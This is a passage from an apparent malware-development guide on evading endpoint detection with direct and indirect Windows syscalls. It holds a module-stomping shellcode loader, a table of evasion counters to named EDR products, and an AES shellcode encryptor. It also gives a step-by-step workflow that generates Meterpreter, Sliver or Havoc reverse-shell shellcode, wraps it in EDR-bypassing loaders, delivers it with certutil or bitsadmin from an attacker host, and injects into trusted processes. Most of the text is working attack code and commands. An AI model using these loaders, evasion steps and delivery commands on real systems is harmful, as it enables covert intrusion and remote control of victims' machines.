    if (!textSection || textSize < sc_len) return;

    // 3. Use NtProtectVirtualMemory (indirect syscall) to make .text writable
    // (No VirtualProtect call — EDR hook bypassed)
    PVOID base = textSection; SIZE_T sz = sc_len; ULONG old;
    // (pProt = indirect stub built with BuildStub() from Section 17)
    pProt((HANDLE)-1, &base, &sz, PAGE_EXECUTE_READWRITE, &old);

    // 4. Write shellcode over the DLL's .text section
    SIZE_T written;
    pWrite((HANDLE)-1, textSection, shellcode, sc_len, &written);

    // 5. Restore to RX (remove write)
    pProt((HANDLE)-1, &base, &sz, PAGE_EXECUTE_READ, &old);

    // 6. Execute via indirect syscall (NtCreateThreadEx)
    HANDLE hT = NULL;
    pThread(&hT, GENERIC_EXECUTE, NULL, (HANDLE)-1,
        textSection, NULL, 0, 0, 0, 0, NULL);
    NtWaitForSingleObject(hT, FALSE, NULL);
}

20. EDR Detection of Syscall Abuse

Modern EDRs have adapted. Understanding their detection methods helps you stay ahead.

20.1 Direct Syscall Detection Methods

DETECTION METHOD 1: Syscall Return Address Check
─────────────────────────────────────────────────
EDR uses kernel callbacks to inspect the return address of syscalls.
When your loader calls 'syscall', the kernel records the caller's RIP.
If RIP points outside ntdll.dll address range → flagged.

COUNTERED BY: Indirect syscalls (jump to ntdll's 'syscall' instruction)

DETECTION METHOD 2: Stack Unwinding
────────────────────────────────────
EDR walks the call stack at syscall time.
In a legitimate call: stack shows ntdll → kernel32 → your code
In a direct syscall:  stack shows your code directly → kernel (no ntdll frame)

COUNTERED BY: Indirect syscalls (ntdll frame appears on stack)

DETECTION METHOD 3: Egg Detection (Scanning for Syscall Stubs)
───────────────────────────────────────────────────────────────
EDR scans process memory for patterns matching syscall stubs:
  4C 8B D1 B8 XX XX XX XX 0F 05 C3
If found outside ntdll → suspicious.

COUNTERED BY: SysWhispers3 Egg Hunter mode (stubs are obfuscated/hidden)
COUNTERED BY: Indirect syscall stubs (different byte pattern)

DETECTION METHOD 4: EtwTi Kernel Provider
──────────────────────────────────────────
EtwTi fires kernel-level events for VirtualAlloc, WriteProcessMemory, etc.
These fire REGARDLESS of whether you use direct syscalls.
EDRs that subscribe to EtwTi still see allocation and thread events.

COUNTERED BY: Module stomping, NtMapViewOfSection, behavioral legitimization

DETECTION METHOD 5: Behavioral Sequencing
──────────────────────────────────────────
EDR tracks API call sequences across time:
  Allocate(RW) → Write → Protect(RX) → CreateThread
This sequence is unusual for most legitimate code.

COUNTERED BY: Splitting operations across time, using less suspicious sequences,
              injecting into legitimate processes (so the sequence appears in explorer.exe)

20.2 Current EDR Capabilities vs Techniques

Technique CrowdStrike SentinelOne MDE Elastic
Direct syscalls (plain) ⚠️ Partial ⚠️ Partial ⚠️ Partial ❌ Often misses
Indirect syscalls ✅ Harder to detect ✅ Harder ✅ Harder ✅ Harder
Module stomping + indirect 🔴 Very hard 🔴 Very hard ⚠️ Partial ❌ Often misses
EtwTi (kernel events) ✅ Still fires ✅ Still fires ✅ Still fires ❌ May miss
SysWhispers3 egg hunter ⚠️ Partial ⚠️ Partial ❌ Often misses ❌ Often misses

Note: EDR capability ratings change rapidly. Always test against your target environment in a lab before engagement.

20.3 Tools for Testing Your Loader Against EDR

# ─── Test loader against Defender (free, always available) ───
# Run loader on a Windows 11 system with Defender enabled
# Check Windows Security → Virus & threat protection history

# ─── Test against CrowdStrike / SentinelOne in a lab ───
# Use trial licenses if available, or test on engagement infra

# ─── Offline static analysis ───
# Upload to antiscan.me (no share with AV vendors):
curl -F "file=@loader.exe" https://antiscan.me/upload

# ─── Triage analysis (dynamic) ───
# any.run — online sandbox with real-time API monitoring:
# https://app.any.run/

# ─── Local AMSI testing ───
$test = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi("AmsiScanBufferBypass")
$amsi = [System.Runtime.InteropServices.Marshal]::GetHINSTANCE([psobject].Assembly.GetModules()[0])
# Or just: Test-Path 'EICAR'  ← AMSI will intercept if active

# ─── CheckPlease — sandbox detection tests ───
# https://github.com/nicholasmckinney/CheckPlease
# Run individual evasion checks to verify what works
git clone https://github.com/nicholasmckinney/CheckPlease

# ─── pe-sieve — detect injection in running processes ───
# https://github.com/hasherezade/pe-sieve
pe-sieve.exe /pid <PID> /iat 1 /shellc 1 /modules 1
# Shows injected modules, shellcode regions, hooks

21. Tool Arsenal — Everything You Need

21.1 Syscall Generation Tools

# ─── SysWhispers2 ───
# GitHub: https://github.com/jthuraisamy/SysWhispers2
git clone https://github.com/jthuraisamy/SysWhispers2
pip3 install -r SysWhispers2/requirements.txt

# Basic usage:
python3 SysWhispers2/syswhispers.py \
    --functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory,NtCreateThreadEx \
    --output syscalls

# ─── SysWhispers3 ───
# GitHub: https://github.com/klezVirus/SysWhispers3
git clone https://github.com/klezVirus/SysWhispers3
pip3 install -r SysWhispers3/requirements.txt

# With MinGW output for Linux cross-compile:
python3 SysWhispers3/syswhispers.py \
    --functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory,NtCreateThreadEx \
    --output syscalls3 --arch x64 --compiler mingw

# With NASM output:
python3 SysWhispers3/syswhispers.py \
    --functions NtAllocateVirtualMemory,NtCreateThreadEx \
    --output sc_nasm --arch x64 --compiler nasm

# With egg-hunter obfuscation:
python3 SysWhispers3/syswhispers.py \
    --functions NtAllocateVirtualMemory,NtCreateThreadEx \
    --output sc_egg --recovery EGG_HUNTER

21.2 Syscall Number Reference Tools

# ─── j00ru's syscall table ───
# Web: https://j00ru.vexillium.org/syscalls/nt/64/
# Comprehensive table of all NT syscall numbers per Windows version

# ─── Offline: mdsec/ntdll-extractor ───
# Extract current syscall numbers from live ntdll.dll
git clone https://github.com/mdsec-research/ntdll-extractor
python3 ntdll-extractor/ntdll_extractor.py

# ─── ntdll-extractor (PowerShell) ───
# Quick one-liner to dump all Nt* syscall numbers:
$ntdll = [System.Runtime.InteropServices.Marshal]::GetHINSTANCE([psobject].Assembly.GetModules()[0])
# OR full version — see Section 6.4 for complete PowerShell script

# ─── WinAPI Search ───
# https://www.geoffchappell.com/studies/windows/win32/ntdll/api/
# Documents ntdll exports and their calling conventions

21.3 Hook Detection Tools

# ─── pe-sieve (detects hooks, injections) ───
# https://github.com/hasherezade/pe-sieve
pe-sieve.exe /pid <target_pid> /iat 1 /shellc 1

# ─── UnhookingPOC ───
# https://github.com/TheD1rkMtr/UnhookingPOC
# Demonstrates various unhooking techniques

# ─── TamperCheck ───
# https://github.com/d35ha/TamperCheck
# Checks ntdll functions for hooks

# ─── Frida (dynamic instrumentation — see who calls hooked funcs) ───
pip install frida-tools
frida -p <PID> -l hook_monitor.js

# hook_monitor.js:
# Interceptor.attach(Module.getExportByName("ntdll.dll", "NtCreateThreadEx"), {
#     onEnter: function(args) { console.log("NtCreateThreadEx called!"); }
# });

21.4 Loader Generation Tools (That Use Syscalls Internally)

# ─── ScareCrow ───
# https://github.com/optiv/ScareCrow
# Uses KnownDLLs unhooking + indirect syscalls + EDR bypass
git clone https://github.com/optiv/ScareCrow
go build ScareCrow.go

# Process injection with KnownDLLs unhooking:
./ScareCrow -I payload.bin -Loader binary -injection explorer.exe \
    -domain microsoft.com -nosign -Evasion KnownDLLs \
    -Exec RtlCopy -encryptionmode AES -obfu

# ─── Freeze ───
# https://github.com/optiv/Freeze
# Built-in indirect syscalls + AMSI/ETW
git clone https://github.com/optiv/Freeze
go build .

./Freeze -I payload.bin -AMSI -ETW -process notepad.exe -O loader.exe

# ─── BruteRatel C4 (commercial — uses indirect syscalls natively) ───
# From Brute Ratel, generate shellcode → inject via custom loader

# ─── Havoc C2 ───
# Demon agent uses indirect syscalls + AMSI/ETW bypass by default
# https://github.com/HavocFramework/Havoc

21.5 Helper Scripts

# PY — Shellcode encryptor (AES-256-CBC)
# encrypt.py — run on attacker machine before building loader

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import os, sys

if len(sys.argv) < 2:
    print("Usage: python3 encrypt.py shellcode.bin")
    sys.exit(1)

shellcode = open(sys.argv[1], 'rb').read()
key = os.urandom(32)
iv  = os.urandom(16)
cipher = AES.new(key, AES.MODE_CBC, iv)
enc = cipher.encrypt(pad(shellcode, 16))

# Save encrypted shellcode
open(sys.argv[1] + '.enc', 'wb').write(enc)

# Print as C arrays to paste into loader
print(f"// AES Key ({len(key)} bytes):")
print("unsigned char aes_key[] = {" + ','.join(f'0x{b:02X}' for b in key) + "};")
print(f"\n// AES IV ({len(iv)} bytes):")
print("unsigned char aes_iv[]  = {" + ','.join(f'0x{b:02X}' for b in iv) + "};")
print(f"\n// Encrypted shellcode ({len(enc)} bytes):")
print("unsigned char enc_sc[]  = {" + ','.join(f'0x{b:02X}' for b in enc) + "};")
# Usage:
# 1. Generate shellcode
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=10.10.10.100 LPORT=443 -f raw -o shell.bin

# 2. Encrypt
python3 encrypt.py shell.bin
# Outputs: shell.bin.enc + C arrays to paste into loader

# 3. Build loader with SysWhispers2 stubs
python3 SysWhispers2/syswhispers.py \
    --functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory,NtCreateThreadEx \
    --output syscalls

x86_64-w64-mingw32-gcc complete_loader.c syscalls.c syscalls_nasm.o \
    -o loader.exe -mwindows -lbcrypt

22. Full Workflow: From Shellcode to Execution

22.1 Standard Engagement Workflow

┌─────────────────────────────────────────────────────────────────┐
│           FULL SYSCALL EVASION WORKFLOW                         │
└─────────────────────────────────────────────────────────────────┘

STEP 1: Generate C2 Shellcode
──────────────────────────────
# From Havoc C2 GUI: Payload → Demon → Format: Shellcode → x64 → Save → demon.bin
# From Sliver:
sliver> generate --mtls --lhost 10.10.10.100 --lport 443 --format shellcode \
    --os windows --arch amd64 --save demon.bin
# From msfvenom:
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=10.10.10.100 LPORT=443 \
    -f raw -o demon.bin

STEP 2: (Optional) Convert PE to Shellcode
────────────────────────────────────────────
# If you need to inject a .NET tool or EXE:
donut -f Rubeus.exe -p "kerberoast" -a 2 -b 1 -o rubeus_sc.bin
# -b 1 = Donut patches AMSI+WLDP before running the .NET runtime

STEP 3: Encrypt Shellcode
──────────────────────────
python3 encrypt.py demon.bin
# Outputs: demon.bin.enc + C arrays (aes_key, aes_iv, enc_sc)

STEP 4: Generate Syscall Stubs
────────────────────────────────
python3 SysWhispers3/syswhispers.py \
    --functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory,\
NtCreateThreadEx,NtOpenProcess,NtWaitForSingleObject \
    --output syscalls --arch x64 --compiler mingw

STEP 5: Write / Configure Loader
──────────────────────────────────
# Paste the aes_key, aes_iv, enc_sc arrays into complete_loader.c
# Configure target process (if doing remote injection)
# Add sandbox evasion if needed
# Select: direct syscalls or indirect syscalls

STEP 6: Build
──────────────
x86_64-w64-mingw32-as -o syscalls.o syscalls.asm
x86_64-w64-mingw32-gcc -c syscalls.c -o syscalls_c.o
x86_64-w64-mingw32-gcc complete_loader.c syscalls.o syscalls_c.o \
    -o loader.exe -mwindows -lbcrypt -Wall -s

STEP 7: (Optional) Wrap with EDR-Bypassing Tool
─────────────────────────────────────────────────
# For code signing + process injection + sandbox evasion:
./ScareCrow -I demon.bin -Loader binary -domain microsoft.com -nosign \
    -Evasion KnownDLLs -Exec RtlCopy -encryptionmode AES -obfu -O final_loader.exe
# OR Freeze:
./Freeze -I demon.bin -AMSI -ETW -process explorer.exe -O final_loader.exe

STEP 8: Test
─────────────
# Test in lab VM with same EDR as target (or closest approximation)
# Check for detection before deploying

STEP 9: Deliver and Execute
────────────────────────────
# Options:
# a) Drop and run: copy loader.exe to target, execute
# b) Execute-assembly (if you have a foothold):
#    beacon> execute-assembly loader.exe
# c) Living off the land delivery:
#    certutil -urlcache -split -f http://attacker/loader.exe loader.exe && loader.exe
# d) BITS delivery (ScareCrow can generate this):
#    bitsadmin /transfer MyJob /download /priority NORMAL http://attacker/loader.exe %TEMP%\loader.exe
#    bitsadmin /complete MyJob
#    %TEMP%\loader.exe

STEP 10: Receive Callback
──────────────────────────
# Monitor your C2 listener for incoming connection
# Beacon checks in → you have a shell

22.2 Remote Process Injection Workflow

# When you need shellcode to run in a different process:

# Determine target PID:
# beacon> ps  (if you already have a beacon)
# OR: Get-Process explorer | Select-Object Id

# Modify loader to inject into remote process:
# Use NtOpenProcess(PROCESS_ALL_ACCESS, FALSE, target_pid) 
# then NtAllocateVirtualMemory with hProc = openedHandle (not -1)
# NtCreateThreadEx with hProc = openedHandle

# Good target processes for injection:
# svchost.exe        ← System process, always running, high trust
# explorer.exe       ← User session, always running, network OK
# RuntimeBroker.exe  ← Less monitored than svchost
# SearchIndexer.exe  ← Background process, rarely suspicious

23. Cheat Sheet

Syscall API Reference

Function                         Sysnum*  Purpose
─────────────────────────────────────────────────────────────────
NtAllocateVirtualMemory          0x0018   Allocate memory (VirtualAlloc equivalent)
NtWriteVirtualMemory             0x003A   Write to memory (WriteProcessMemory equivalent)
NtReadVirtualMemory              0x003F   Read from memory (ReadProcessMemory equivalent)
NtProtectVirtualMemory           0x0050   Change memory permissions (VirtualProtect equivalent)
NtCreateThreadEx                 0x00C2   Create thread (CreateThread/CreateRemoteThread equivalent)
NtOpenProcess                    0x0026   Open process handle (OpenProcess equivalent)
NtOpenThread                     0x0129   Open thread handle (OpenThread equivalent)
NtSuspendThread                  0x00BD   Suspend thread
NtResumeThread                   0x0052   Resume thread
NtGetContextThread               0x00F5   Get thread context (registers)
NtSetContextThread               0x00DA   Set thread context (hijack RIP)
NtQueueApcThread                 0x0069   Queue APC (QueueUserAPC equivalent)
NtWaitForSingleObject            0x0004   Wait for object (WaitForSingleObject equivalent)
NtClose                          0x000F   Close handle (CloseHandle equivalent)
NtMapViewOfSection               0x0028   Map section into memory
NtUnmapViewOfSection             0x002A   Unmap section
NtCreateSection                  0x004A   Create section object
NtQueryVirtualMemory             0x0023   Query memory info (VirtualQuery equivalent)
NtFreeVirtualMemory              0x001E   Free memory (VirtualFree equivalent)

* Syscall numbers are for Windows 10 21H2 x64 — resolve dynamically for production use

SysWhispers Quick Reference

# Minimum for self-injection:
python3 syswhispers.py --functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory,NtCreateThreadEx --output syscalls

# For remote process injection (add):
python3 syswhispers.py --functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory,NtCreateThreadEx,NtOpenProcess,NtWaitForSingleObject --output syscalls

# For thread hijacking (add):
python3 syswhispers.py --functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory,NtOpenProcess,NtOpenThread,NtSuspendThread,NtGetContextThread,NtSetContextThread,NtResumeThread --output syscalls

# For APC injection (add):
python3 syswhispers.py --functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory,NtOpenProcess,NtOpenThread,NtQueueApcThread --output syscalls

# For section-based injection (add):
python3 syswhispers.py --functions NtCreateSection,NtMapViewOfSection,NtUnmapViewOfSection,NtCreateThreadEx,NtOpenProcess --output syscalls

# SW3 MinGW (cross-compile from Linux):
python3 SysWhispers3/syswhispers.py --functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory,NtCreateThreadEx --output sc3 --arch x64 --compiler mingw

# SW3 Egg Hunter (obfuscated stubs):
python3 SysWhispers3/syswhispers.py --functions NtAllocateVirtualMemory,NtCreateThreadEx --output sc_egg --recovery EGG_HUNTER

Technique Selection Guide

SITUATION → TECHNIQUE

Basic evasion needed (EDR is lightweight):
→ SysWhispers2 direct syscalls + AES decrypt + RW→RX

EDR stack-traces syscall callers:
→ Indirect syscalls (BuildStub() to jump into ntdll's 'syscall')

EDR scans for syscall stub patterns in memory:
→ SysWhispers3 EGG_HUNTER mode

Functions are hooked (E9 JMP at start):
→ Halo's Gate (neighbor scanning) OR Tartarus' Gate (fresh ntdll from disk)

Need to avoid anonymous memory pages:
→ Module stomping (shellcode in DLL .text section)

Need different EtwTi event signature:
→ NtCreateSection + NtMapViewOfSection instead of NtAllocateVirtualMemory

Need .NET tool injection:
→ Donut (PE → shellcode) then any syscall loader

Need maximum stealth (all layers):
→ Indirect syscalls + Module stomping + AMSI/ETW patch + AES + ScareCrow wrap

Testing if hooks are present:
→ Hook scanner (Section 4.1) → run before payload

Deployment in .NET context:
→ D/Invoke (GetExportAddress + GetDelegateFromPointer)

Memory Protection Flags (Quick Reference)

// Allocation flags
MEM_COMMIT  = 0x1000
MEM_RESERVE = 0x2000
MEM_COMMIT | MEM_RESERVE = 0x3000   // ← Use this for standard allocation

// Protection flags
PAGE_NOACCESS          = 0x001
PAGE_READONLY          = 0x002
PAGE_READWRITE         = 0x004   // ← Allocate with this (RW only)
PAGE_WRITECOPY         = 0x008
PAGE_EXECUTE           = 0x010
PAGE_EXECUTE_READ      = 0x020   // ← Then change to this (RX) before executing
PAGE_EXECUTE_READWRITE = 0x040   // ← AVOID (RWX — massive EDR red flag)
PAGE_EXECUTE_WRITECOPY = 0x080

Key GitHub Repositories

Tool URL What It Does
SysWhispers2 github.com/jthuraisamy/SysWhispers2 Direct syscall stub generator
SysWhispers3 github.com/klezVirus/SysWhispers3 Advanced syscall generator (NASM, egg-hunter, indirect)
Hell's Gate github.com/am0nsec/HellsGate Dynamic syscall number resolution
FreshyCalls github.com/crummie5/FreshyCalls EAT-sort syscall number resolution
RecycledGate github.com/rad9800/RecycledGate Sorted EAT + hook recovery
DInvoke github.com/TheWover/DInvoke .NET dynamic invocation (C# equivalent)
ScareCrow github.com/optiv/ScareCrow EDR-bypassing loader generator
Freeze github.com/optiv/Freeze AMSI/ETW bypass loader generator
pe-sieve github.com/hasherezade/pe-sieve Detect hooks and injections
Donut github.com/TheWover/donut PE → position-independent shellcode
Tartarus' Gate github.com/trickster0/TartarusGate EAT-based hook recovery

Note: All techniques described in this document are for authorized red team operations, penetration testing, and security research only. Unauthorized use against systems without explicit permission is illegal.

← Malware development top ↑